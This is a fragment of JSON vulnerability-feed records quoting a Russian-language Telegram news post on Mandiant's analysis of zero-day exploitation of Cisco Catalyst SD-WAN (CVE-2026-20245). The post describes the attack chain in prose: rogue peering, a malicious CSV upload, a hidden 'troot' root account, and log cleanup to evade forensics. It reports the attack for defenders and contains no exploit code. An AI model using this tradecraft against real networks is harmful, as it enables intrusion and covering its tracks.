\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 SD-WAN, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SD-WAN Manager, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u044e\u00a0vmanage-admin \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.\n\n\u0412 Mandiant \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u0432 Cisco SD-WAN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2026-20127 \u0438 CVE-2026-20182, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0432\u043e\u0448\u043b\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SD-WAN Manager \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 SD-WAN.\n\nMandiant \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 CVE-2026-20245 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 SD-WAN, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b evil_tenant.csv.\n\nCVE-2026-20245, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Cisco, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (CLI) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 Cisco Catalyst SD-WAN \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0/etc/passwd\u0438\u00a0/etc/shadow, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c troot \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u00a0su \u043a\u043e\u043c\u0430\u043d\u0434\u0443 Linux \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c root, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Mandiant, \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u0430\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0427\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0442\u0430\u043a\u0438, \u0438 \u0441\u0442\u0435\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root.\n\nMandiant \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCisco \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20182, \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, IP \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-13T13:00:07.314647Z"}, {"uuid": "59094a42-09e6-472b-9bcc-180477595ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/true_secator/8345", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Cisco Catalyst SD-WAN (CVE-2026-20245) \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 root \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2026-20245 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Cisco Catalyst SD-WAN Manager (vManage), Controller (vSmart) \u0438 Validator (vBond), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a,\u00a0\u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u043e\u0433\u0434\u0430 Cisco \u043b\u0438\u0448\u044c \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c SD-WAN.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 SD-WAN, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SD-WAN Manager, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u044e\u00a0vmanage-admin \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.\n\n\u0412 Mandiant \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u0432 Cisco SD-WAN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2026-20127 \u0438 CVE-2026-20182, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0432\u043e\u0448\u043b\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SD-WAN Manager \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 SD-WAN.\n\nMandiant \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, 